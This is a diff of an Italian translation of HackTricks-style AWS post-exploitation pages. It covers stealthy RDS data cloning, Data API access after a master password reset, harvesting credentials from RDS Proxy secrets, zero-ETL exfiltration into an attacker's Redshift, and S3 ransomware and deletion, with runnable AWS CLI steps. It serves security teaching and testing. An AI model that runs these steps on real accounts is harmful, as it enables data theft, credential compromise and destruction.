|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
- Stato DB replica: `available`, replicazione in lettura: `replicating`
|
||||
- Connessione riuscita con nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoring focalizzato solo sulla sorgente.
|
||||
Sfrutta RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Quindi resetta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira i sistemi di monitoraggio focalizzati solo sulla sorgente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,19 +393,18 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impatto: accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale dell'ambiente di produzione senza modificare l'istanza di produzione. Utile per estrazioni dati furtive e analisi offline.
|
||||
Impatto: Accesso completo in sola lettura a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione dati furtiva e analisi offline.
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'HTTP endpoint + reimpostando la master password
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la password master
|
||||
Abuse Aurora per abilitare l'HTTP endpoint del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesta connettività di rete VPC). Funziona su motori Aurora che supportano Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni Aurora PostgreSQL/MySQL).
|
||||
|
||||
Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la password master con un valore sotto il tuo controllo ed eseguire SQL su HTTPS (non è richiesto alcun percorso di rete VPC). Funziona sui motori Aurora che supportano Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
Permessi (minimi):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impatto: aggirare la segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
Impatto: Bypass della segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (esempio Aurora MySQL)</summary>
|
||||
@@ -425,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Note:
|
||||
- Se SQL multi-istruzione viene rifiutato da rds-data, eseguire chiamate execute-statement separate.
|
||||
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Assicurarsi che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
|
||||
- Se rds-data rifiuta SQL con più istruzioni, eseguire chiamate separate execute-statement.
|
||||
- Per motori in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Verificare che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False.
|
||||
|
||||
|
||||
### Raccogliere le credenziali DB tramite i segreti di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Raccogliere credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager utilizzato per l'autenticazione backend, poi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
|
||||
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi a `secretsmanager:GetSecretValue`, rendendo questo un pivot a bassa frizione verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
Permessi necessari (minimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
|
||||
- Facoltativo quando il secret usa una CMK: `kms:Decrypt` su quella chiave
|
||||
- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella key
|
||||
|
||||
Impatto: Divulgazione immediata dello username/password DB configurato sul proxy; permette accesso diretto al DB o ulteriore movimento laterale.
|
||||
Impatto: divulgazione immediata di username/password DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
@@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratorio (minimo per riprodurre)
|
||||
Lab (minimale per riprodurre)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -480,20 +515,20 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Esfiltrazione continua furtiva tramite Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
|
||||
### Esfiltrazione continua stealth via Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless sotto il tuo controllo. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati in near‑real‑time senza DB creds, snapshots o esposizione di rete.
|
||||
Sfrutta l'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati quasi in tempo reale senza credenziali DB, snapshot o esposizione di rete.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
Permessi necessari (minimo):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (per interrogare)
|
||||
- `rds-data:ExecuteStatement` (opzionale; per popolare dati se necessario)
|
||||
|
||||
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Creare namespace Redshift Serverless + workgroup</summary>
|
||||
<summary>1) Crea namespace Redshift Serverless + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configura la resource policy di Redshift per consentire la sorgente Aurora</summary>
|
||||
<summary>2) Configurare la policy delle risorse di Redshift per consentire la sorgente Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication)</summary>
|
||||
<summary>3) Creare un cluster Aurora PostgreSQL (abilitare Data API e logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Creare l'integrazione zero‑ETL da RDS</summary>
|
||||
<summary>4) Crea l'integrazione zero‑ETL da RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -596,12 +631,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Evidenze rilevate nel test:
|
||||
Evidenze osservate nel test:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; una SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha mostrato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
|
||||
Impatto: Esfiltrazione continua near‑real‑time di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare database credentials, backups o accesso di rete al cluster di origine.
|
||||
Impatto: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,27 +12,58 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### Sensitive Information
|
||||
|
||||
A volte potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, terraform state secrets.
|
||||
A volte potrai trovare informazioni sensibili leggibili nei buckets. Per esempio, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diverse piattaforme potrebbero usare S3 per memorizzare asset sensibili.
|
||||
Per esempio, **airflow** potrebbe memorizzare lì il **DAGs** **code**, oppure **web pages** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS.
|
||||
Diverse piattaforme potrebbero usare S3 per immagazzinare asset sensibili.\
|
||||
Per esempio, **airflow** potrebbe memorizzare il **DAGs** **code** lì, oppure **web pages** potrebbero essere servite direttamente da S3. Un attacker con write permissions potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, oppure **takeover accounts** modificando file JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In questo scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** o in un altro account compromesso. Successivamente rendono questa **key accessible to anyone in the world**, permettendo a qualsiasi AWS user, role, o account di cifrare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decrittati.
|
||||
In questo scenario, l'**attacker crea una KMS (Key Management Service) key nel proprio account AWS** o in un altro account compromesso. Rende poi questa **key accessibile a chiunque nel mondo**, permettendo a qualsiasi AWS user, role o account di encryptare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decryptati.
|
||||
|
||||
L'attaccante identifica un target **S3 bucket and gains write-level access** usando vari metodi. Questo può essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente oppure all'accesso dell'attaccante all'ambiente AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come personally identifiable information (PII), protected health information (PHI), log, backup e altro.
|
||||
L'attacker identifica un target **S3 bucket e ottiene accesso a livello di write** su di esso con vari metodi. Questo può avvenire a causa di una cattiva configurazione del bucket che lo espone pubblicamente o ottenendo accesso all'environment AWS stesso. L'attacker tipicamente prende di mira bucket che contengono informazioni sensibili come PII, PHI, logs, backups e altro.
|
||||
|
||||
Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se è abilitato **S3 Object Versioning** e se è abilitato **multi-factor authentication delete (MFA delete)**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disable Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante effettuare ransomware su quel bucket specifico.
|
||||
Per determinare se il bucket può essere preso di mira per ransomware, l'attacker verifica la sua configurazione. Questo include controllare se **S3 Object Versioning** è enabled e se **multi-factor authentication delete (MFA delete)** è enabled. Se Object Versioning non è enabled, l'attacker può procedere. Se Object Versioning è enabled ma MFA delete è disabled, l'attacker può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono enabled, diventa più difficile per l'attacker fare ransomware su quel bucket specifico.
|
||||
|
||||
Usando l'AWS API, l'attaccante **replaces each object in the bucket with an encrypted copy using their KMS key**. Questo effettivamente cifra i dati nel bucket, rendendoli inaccessibili senza la key.
|
||||
Usando l'AWS API, l'attacker **sostituisce ogni oggetto nel bucket con una copia encryptata usando la propria KMS key**. Questo cifra efficacemente i dati nel bucket, rendendoli inaccessibili senza la key.
|
||||
|
||||
Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo dà al bersaglio una finestra di 7 giorni per recuperare i propri dati prima che la key venga cancellata e i dati vadano persi permanentemente.
|
||||
Per aumentare la pressione, l'attacker programma la cancellazione della KMS key usata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i dati prima che la key venga cancellata e i dati vadano perduti in modo permanente.
|
||||
|
||||
Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il bersaglio su come recuperare i propri file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del bersaglio e fargli prendere conoscenza dell'attacco ransomware.
|
||||
Infine, l'attacker potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il target su come recuperare i file. Questo file viene caricato senza encrypt, probabilmente per attirare l'attenzione del target e renderlo consapevole dell'attacco ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Un attacker con la permission s3:RestoreObject può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo abilita la recovery e l'exfiltration di dati storicamente archiviati (backups, snapshots, logs, certifications, old secrets) che normalmente sarebbero fuori portata. Se l'attacker combina questa permission con read permissions (es., s3:GetObject), può ottenere copie complete di dati sensibili.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Un attacker con il permesso s3:Delete* può eliminare oggetti, versioni e interi buckets, interrompere i backups e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione di artefatti di backup o di recovery.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Per maggiori informazioni** [**consulta la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user